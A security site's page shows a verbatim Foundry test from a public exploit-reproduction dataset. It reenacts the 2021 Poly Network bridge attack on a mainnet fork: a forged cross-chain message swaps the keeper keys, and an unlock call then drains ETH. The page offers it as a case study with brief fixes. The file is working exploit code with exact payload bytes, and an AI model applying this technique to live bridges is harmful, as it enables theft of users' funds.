Public reproduction file

src/test/2021-08/PolyNetwork_exp.sol

Public reproduction file for the historical Poly Network incident (2021-08-11). Shown verbatim because the incident is older than 30 days and not known to be still exploitable.

Code Contracts Transactions

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2021-08/PolyNetwork_exp.sol205 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6// import "./utils.sol";
7 
8interface IEthCrossChainManager {
9    function verifyHeaderAndExecuteTx(
10        bytes memory proof,
11        bytes memory rawHeader,
12        bytes memory headerProof,
13        bytes memory curRawHeader,
14        bytes memory headerSig
15    ) external returns (bool);
16}
17 
18interface IEthCrossChainData {
19    function putCurEpochStartHeight(
20        uint32 curEpochStartHeight
21    ) external returns (bool);
22    function getCurEpochStartHeight() external view returns (uint32);
23    function putCurEpochConPubKeyBytes(
24        bytes calldata curEpochPkBytes
25    ) external returns (bool);
26    function getCurEpochConPubKeyBytes() external view returns (bytes memory);
27    function markFromChainTxExist(uint64 fromChainId, bytes32 fromChainTx) external returns (bool);
28    function checkIfFromChainTxExist(uint64 fromChainId, bytes32 fromChainTx) external view returns (bool);
29    function getEthTxHashIndex() external view returns (uint256);
30    function putEthTxHash(
31        bytes32 ethTxHash
32    ) external returns (bool);
33    function putExtraData(bytes32 key1, bytes32 key2, bytes calldata value) external returns (bool);
34    function getExtraData(bytes32 key1, bytes32 key2) external view returns (bytes memory);
35    function transferOwnership(
36        address newOwner
37    ) external;
38    function pause() external returns (bool);
39    function unpause() external returns (bool);
40    function paused() external view returns (bool);
41    // Not used currently by ECCM
42    function getEthTxHash(
43        uint256 ethTxHashIndex
44    ) external view returns (bytes32);
45}
46 
47contract ContractTest is Test {
48    struct Header {
49        uint32 version;
50        uint64 chainId;
51        uint32 timestamp;
52        uint32 height;
53        uint64 consensusData;
54        bytes32 prevBlockHash;
55        bytes32 transactionsRoot;
56        bytes32 crossStatesRoot;
57        bytes32 blockRoot;
58        bytes consensusPayload;
59        bytes20 nextBookkeeper;
60    }
61 
62    struct ToMerkleValue {
63        bytes txHash; // cross chain txhash
64        uint64 fromChainID;
65        TxParam makeTxParam;
66    }
67 
68    struct TxParam {
69        bytes txHash; //  source chain txhash
70        bytes crossChainId;
71        bytes fromContract;
72        uint64 toChainId;
73        bytes toContract;
74        bytes method;
75        bytes args;
76    }
77 
78    address exploiter = 0xC8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963;
79    address EthCrossChainManager = 0x838bf9E95CB12Dd76a54C9f9D2E3082EAF928270;
80    address EthCrossChainData = 0xcF2afe102057bA5c16f899271045a0A37fCb10f2;
81 
82    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
83 
84    function setUp() public {
85        cheats.createSelectFork("mainnet", 12_996_658); //fork mainnet at block 12996658
86    }
87 
88    function testExploit() public {
89        // "Poly has a contract called the "EthCrossChainManager". It's a privileged contract that has the right to trigger messages from another chain. It's a standard thing for cross-chain projects.
90 
91        // It has a function named verifyHeaderAndExecuteTx that anyone can call to execute a cross-chain transaction.
92 
93        // It (1) verifies that the block header is correct by checking signatures (seems the other chain was a poa sidechain or) and then (2) checks that the transaction was included within that block with a Merkle proof. Here's the code.
94 
95        // One of the last things the function does is call executeCrossChainTx, which makes the call to the target contract. This is where the critical flaw sits. Poly checks that the target is a contract, but they forgot to prevent users from calling a very important target... the EthCrossChainData contract
96 
97        // By sending this cross-chain message, the user could trick the EthCrossChainManager into calling the EthCrossChainData contract, passing the onlyOwner check. Now the user just had to craft the right data to be able to trigger the function that changes the public keys…
98 
99        // https://etherscan.io/tx/0xb1f70464bd95b774c6ce60fc706eb5f9e35cb5f06e6cfe7c17dcda46ffd59581/advanced
100        cheats.startPrank(exploiter);
101        emit log_named_bytes(
102            "existing CurEpochConPubKeyBytes", IEthCrossChainData(EthCrossChainData).getCurEpochConPubKeyBytes()
103        );
104        bytes memory rawHeader =
105            hex"0000000000000000000000008446719cbe62cf6fb9e3fb95a6c12882c5a3d885ad1dd8f2785e48d617d12708d38136a7df909f371a9f835d3ad58637e0dbc2f3e0f4bb60228730a46f77839a773046bcc14f6079db9033d0ab6176f171384070729fbfd2086a418e7e057717f3e67f4b67c999d13c258e5657f4dc0b5553e1836d0d81d1bff05b621053834bc7471261843aa80030451454a4f4b560fd13017b226c6561646572223a332c227672665f76616c7565223a22424851706a716f325767494d616a7a5a5a6c4158507951506c7a3357456e4a534e7470682b35416346376f37654b784e48486742704156724e54666f674c73485264394c7a544a5666666171787036734a637570324d303d222c227672665f70726f6f66223a226655346f56364462526d543264744d5254397a326b366853314f6f42584963397a72544956784974576348652f4b56594f2b58384f5167746143494d676139682f59615548564d514e554941326141484f664d545a773d3d222c226c6173745f636f6e6669675f626c6f636b5f6e756d223a31303938303030302c226e65775f636861696e5f636f6e666967223a6e756c6c7d0000000000000000000000000000000000000000";
106        // https://github.com/polynetwork/eth-contracts/blob/d16252b2b857eecf8e558bd3e1f3bb14cff30e9b/contracts/core/cross_chain_manager/libs/EthCrossChainUtils.sol
107        Header memory header = Header({
108            version: 0,
109            chainId: 0,
110            timestamp: 1_628_587_975,
111            height: 11_025_028,
112            consensusData: 6_968_744_985_048_139_056,
113            prevBlockHash: hex"8446719cbe62cf6fb9e3fb95a6c12882c5a3d885ad1dd8f2785e48d617d12708",
114            transactionsRoot: hex"d38136a7df909f371a9f835d3ad58637e0dbc2f3e0f4bb60228730a46f77839a",
115            crossStatesRoot: hex"773046bcc14f6079db9033d0ab6176f171384070729fbfd2086a418e7e057717",
116            blockRoot: hex"f3e67f4b67c999d13c258e5657f4dc0b5553e1836d0d81d1bff05b621053834b",
117            consensusPayload: hex"7b226c6561646572223a332c227672665f76616c7565223a22424851706a716f325767494d616a7a5a5a6c4158507951506c7a3357456e4a534e7470682b35416346376f37654b784e48486742704156724e54666f674c73485264394c7a544a5666666171787036734a637570324d303d222c227672665f70726f6f66223a226655346f56364462526d543264744d5254397a326b366853314f6f42584963397a72544956784974576348652f4b56594f2b58384f5167746143494d676139682f59615548564d514e554941326141484f664d545a773d3d222c226c6173745f636f6e6669675f626c6f636b5f6e756d223a31303938303030302c226e65775f636861696e5f636f6e666967223a6e756c6c7d",
118            nextBookkeeper: hex"0000000000000000000000000000000000000000"
119        });
120 
121        bytes memory proof =
122            hex"af2080cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a0300000000000000200c28ffffaa7c5602285476ad860c54039782f8f20bd3677ba3d5250661ba71f708ea3100000000000014e1a18842891f8e82a5e6e5ad0a06d8448fe2f407020000000000000014cf2afe102057ba5c16f899271045a0a37fcb10f20b66313132313331383039331d010000000000000014a87fb85a93ca072cd4e5f0d4f178bc831df8a00b01362cad381a1e2432383300391908794fb71a2acd717d2f1565a40e7f8d36f9d5017b5baaca2a25e97f5afa40e98f87b0eca2eb0e9e7f24684d1b56db214aa51b3301ee1671b66cad1415453c0544d7e4425c1632e1b7dfdae3bd642ed7954e9f9b0d";
123        // value length: af
124        // ToMerkleValue.txHash length: 20
125        // ToMerkleValue.txHash: 80cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a
126        // ToMerkleValue.fromChainID: 0300000000000000
127        // TxParam.txHash length: 20
128        // TxParam.txHash: 0c28ffffaa7c5602285476ad860c54039782f8f20bd3677ba3d5250661ba71f7
129        // TxParam.crossChainId length: 08
130        // TxParam.crossChainId: ea31000000000000
131        // TxParam.fromContract length: 14
132        // TxParam.fromContract: e1a18842891f8e82a5e6e5ad0a06d8448fe2f407
133        // TxParam.toChainId: 0200000000000000
134        // TxParam.toContract length: 14
135        // TxParam.toContract: cf2afe102057ba5c16f899271045a0a37fcb10f2
136        // TxParam.method length: 0b
137        // TxParam.method: 6631313231333138303933
138        // TxParam.args length: 1d
139        // TxParam.args: 010000000000000014a87fb85a93ca072cd4e5f0d4f178bc831df8a00b
140        // pos: 01
141        // nodehash: 362cad381a1e2432383300391908794fb71a2acd717d2f1565a40e7f8d36f9d5
142        // pos: 01
143        // nodehash: 7b5baaca2a25e97f5afa40e98f87b0eca2eb0e9e7f24684d1b56db214aa51b33
144        // pos: 01
145        // nodehash: ee1671b66cad1415453c0544d7e4425c1632e1b7dfdae3bd642ed7954e9f9b0d
146        // bytes memory toMerkleValueBs = ECCUtils.merkleProve(proof, header.crossStatesRoot);
147        // ECCUtils.ToMerkleValue memory toMerkleValue = ECCUtils.deserializeMerkleValue(toMerkleValueBs);
148        ToMerkleValue memory toMerkleValue = ToMerkleValue({
149            txHash: hex"80cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a", // cross chain txhash
150            fromChainID: 3,
151            makeTxParam: TxParam({
152                txHash: hex"0c28ffffaa7c5602285476ad860c54039782f8f20bd3677ba3d5250661ba71f7", //  source chain txhash
153                crossChainId: hex"ea31000000000000",
154                fromContract: hex"e1a18842891f8e82a5e6e5ad0a06d8448fe2f407",
155                toChainId: 2,
156                toContract: abi.encodePacked(EthCrossChainData),
157                method: hex"6631313231333138303933", // bytes.fromhex("6631313231333138303933") => b'f1121318093'
158                args: hex"010000000000000014a87fb85a93ca072cd4e5f0d4f178bc831df8a00b"
159            })
160        });
161 
162        // https://github.com/polynetwork/eth-contracts/blob/d16252b2b857eecf8e558bd3e1f3bb14cff30e9b/contracts/core/cross_chain_manager/logic/EthCrossChainManager.sol#L127
163        IEthCrossChainManager(EthCrossChainManager).verifyHeaderAndExecuteTx({ // 0xd450e04c
164            proof: proof,
165            rawHeader: rawHeader,
166            headerProof: hex"",
167            curRawHeader: hex"",
168            headerSig: hex"7e3359dec445d7d49b80d9999ef2e34f01b6526f2a0b848fcb223201b21ced0e51bece6815510bf7283e98175c0bdfde8b5b1bdc38beef5e7b8ab1b8e8d1b2c900428e40826b3606e0b684d66e9406a5c0d69c16a5cbda8fefe176716f3286e872361ed29bd945b56d5af3a8c581d2b627f679061282f11a6e9b021fe3426faece00e09479bd3581f9eb27be273a761c509f6f20bde1c6a4187fa082c4e55b2f07684034b50075441c51cfc3061879bcf04e5a256b21379f67a2dc0643843bf6438000"
169        });
170        // a) 0x69d48074: getCurEpochConPubKeyBytes()
171        // b) 0x5ac40790: getCurEpochStartHeight()
172        // c) 0x0586763c000000000000000000000000000000000000000000000000000000000000000380cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a: checkIfFromChainTxExist(uint64,bytes32)
173        // d) 0xe90bfdcf000000000000000000000000000000000000000000000000000000000000000380cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a: markFromChainTxExist(uint64,bytes32)
174        // e) 0x41973cd9000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000001d010000000000000014a87fb85a93ca072cd4e5f0d4f178bc831df8a00b0000000000000000000000000000000000000000000000000000000000000000000014e1a18842891f8e82a5e6e5ad0a06d8448fe2f407000000000000000000000000: putCurEpochConPubKeyBytes(bytes) / f1121318093(bytes,bytes,uint64) / func10487987874260605968(bytes,bytes,uint64)
175 
176        // https://github.com/polynetwork/eth-contracts/blob/d16252b2b857eecf8e558bd3e1f3bb14cff30e9b/contracts/core/cross_chain_manager/logic/EthCrossChainManager.sol#L183
177        // (success, returnData) = EthCrossChainData.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(toMerkleValue.makeTxParam.method, "(bytes,bytes,uint64)"))), abi.encode(toMerkleValue.makeTxParam.args, toMerkleValue.makeTxParam.fromContractAddr, toMerkleValue.makeTxParam.fromChainId)));
178        emit log_named_bytes(
179            "changed CurEpochConPubKeyBytes", IEthCrossChainData(EthCrossChainData).getCurEpochConPubKeyBytes()
180        );
181 
182        // token transfer: https://etherscan.io/tx/0xad7a2c70c958fcd3effbf374d0acf3774a9257577625ae4c838e24b0de17602a
183        address AssetProxy = 0x250e76987d838a75310c34bf422ea9f1AC4Cc906;
184        // https://github.com/polynetwork/eth-contracts/blob/d16252b2b857eecf8e558bd3e1f3bb14cff30e9b/contracts/core/lock_proxy/LockProxy.sol#L64
185        emit log_named_uint("balance before", exploiter.balance);
186        IEthCrossChainManager(EthCrossChainManager).verifyHeaderAndExecuteTx({
187            proof: hex"b12094821f19c671e4c557c358d0780bd2030f3c909df3cb6933607077b9e57d89bd0a00000000000000010001001434d4a23a1fc0c694f0d74ddaf9d8d564cfe2d430020000000000000014250e76987d838a75310c34bf422ea9f1ac4cc90606756e6c6f636b4a14000000000000000000000000000000000000000014c8a65fadf0e0ddaf421f28feab69bf6e2e5899632662f145d8d496e79a0000000000000000000000000000000000000000000000",
188            // toContract: AssetProxy
189            // method: 756e6c6f636b
190            // args: 14000000000000000000000000000000000000000014c8a65fadf0e0ddaf421f28feab69bf6e2e5899632662f145d8d496e79a0000000000000000000000000000000000000000000000
191            // struct TxArgs {
192            //     bytes toAssetHash; 0000000000000000000000000000000000000000 // eth
193            //     bytes toAddress; C8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963
194            //     uint256 amount; 2662f145d8d496e79a0000000000000000000000000000000000000000000000 // 2857486346845890372134
195            // }
196            rawHeader: hex"00000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000afc014478ad573eaa072aaf625f990b01b1f0733b6070d2e38770f74c4d5fac900000000000000000000000000000000000000000000000000000000000000000000000000ca9a3b020000000000000001000000000000000000000000000000000000000000000000000000000000000000",
197            headerProof: hex"",
198            curRawHeader: hex"",
199            headerSig: hex"0c6539f57b9bd2138b003744d9bd94375111bd0137525073b5b3967b7089d98f47236cea76488260b74cb587dbbeb7c5f35a056a5cf5b63649cd90ff487f386401"
200        });
201        emit log_named_uint("balance after", exploiter.balance);
202    }
203 
204    receive() external payable {}
205}

Analysis

What this file is

A public Foundry test from the DeFiHackLabs dataset for the Poly Network incident dated 2021-08-11. It reproduces the historical attack against archived chain state. The incident is years old and the affected systems were patched or shut down; we show the file verbatim under our code disclosure policy.

How to read it

The test sets up a fork, labels the relevant addresses, then walks through the steps the attacker used. Treat it as a historical case study for defenders, not as something to run against live contracts.

Fixes and defensive tests

Review privileged entry points
Limit what external coin can be pulled without intent checks
Pause or migrate when a class of bug is public

Related files

6 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2021-08/Cream_exp.solSame month in the dataset · 79 lines
src/test/2021-08/Popsicle_exp.solSame month in the dataset · 263 lines
src/test/2021-08/WaultFinance_exp.solSame month in the dataset · 103 lines
src/test/2021-08/XSURGE_exp.solSame month in the dataset · 74 lines
src/test/2022-11/Polynomial_exp.solSame protocol or name in the dataset · 98 lines

Also imports external libraries: forge-std/Test.sol.

File record

Name: Poly Network
Path: src/test/2021-08/PolyNetwork_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 5860e06c07f6cf8ecddf61670a74cad4543ae3ed
Language: Solidity
Size: 206 lines
Date: 2021-08-11
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2021-08/PolyNetwork_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5860e06c07f6cf8ecddf61670a74cad4543ae3ed, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.